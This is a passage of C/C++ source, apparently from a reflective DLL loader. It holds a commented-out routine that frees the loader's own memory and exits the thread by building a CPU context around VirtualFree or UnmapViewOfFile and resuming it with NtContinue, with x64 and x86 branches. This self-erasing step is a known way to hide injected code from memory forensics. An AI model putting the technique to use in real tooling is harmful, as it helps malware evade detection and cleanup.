191 | // winApi.VirtualFree((LPVOID)loadedDllBaseAddress, 0, MEM_RELEASE);
192 | //
193 | //
194 | //
195 | // if (otherApi.VirtualQuery((char*)loaderStart, &mbi, sizeof(MEMORY_BASIC_INFORMATION))) {
196 | //
197 | // if (mbi.Type == MEM_PRIVATE) {
198 | //
199 | // CtxFreeMem.ContextFlags = CONTEXT_FULL;
200 | // ntApi.RtlCaptureContext(&CtxFreeMem);
201 | //
202 | //#ifdef _WIN64
203 | //
204 | // CtxFreeMem.Rip = UINT_PTR(winApi.VirtualFree);
205 | // CtxFreeMem.Rcx = UINT_PTR(loaderStart);
206 | // CtxFreeMem.Rdx = UINT_PTR(0);
207 | // CtxFreeMem.R8 = UINT_PTR(MEM_RELEASE);
208 | // *(ULONG_PTR*)CtxFreeMem.Rsp = UINT_PTR(ntApi.RtlExitUserThread);
209 | //
210 | //#else
211 | //
212 | // DWORD* originalStack = (DWORD*)CtxFreeMem.Esp;
213 | //
214 | // DWORD* newStack = originalStack - 4;
215 | //
216 | // newStack[0] = (DWORD)UINT_PTR(ntApi.RtlExitUserThread);
217 | // newStack[1] = (DWORD)loaderStart;
218 | // newStack[2] = (DWORD)0;
219 | // newStack[3] = (DWORD)MEM_RELEASE;
220 | //
221 | // CtxFreeMem.Esp = (DWORD)newStack;
222 | // CtxFreeMem.Eip = (DWORD)winApi.VirtualFree;
223 | //
224 | //#endif
225 | // CtxFreeMem.ContextFlags = CONTEXT_FULL;
226 | // ntApi.NtContinue(&CtxFreeMem, FALSE);
227 | //
228 | // }
229 | // else if (mbi.Type == MEM_MAPPED) {
230 | //
231 | // CtxFreeMem.ContextFlags = CONTEXT_FULL;
232 | // ntApi.RtlCaptureContext(&CtxFreeMem);
233 | //#ifdef _WIN64
234 | //
235 | // CtxFreeMem.Rip = UINT_PTR(otherApi.UnmapViewOfFile);
236 | // CtxFreeMem.Rcx = UINT_PTR(loaderStart);
237 | // *(ULONG_PTR*)CtxFreeMem.Rsp = UINT_PTR(ntApi.RtlExitUserThread);
238 | //
239 | //#else
240 | //
241 | //
242 | //
243 | //#endif
244 | // CtxFreeMem.ContextFlags = CONTEXT_FULL;
245 | // ntApi.NtContinue(&CtxFreeMem, FALSE);
246 | // }
247 | //
248 | // }
249 |
250 |
251 | }
252 | }
253 |
254 | /*******************************************************************
255 | * To avoid problems with function positioning, do not add any new
256 | * functions above this pragma directive.
257 | ********************************************************************/
258 | #pragma code_seg(".text$b")
259 |
--------------------------------------------------------------------------------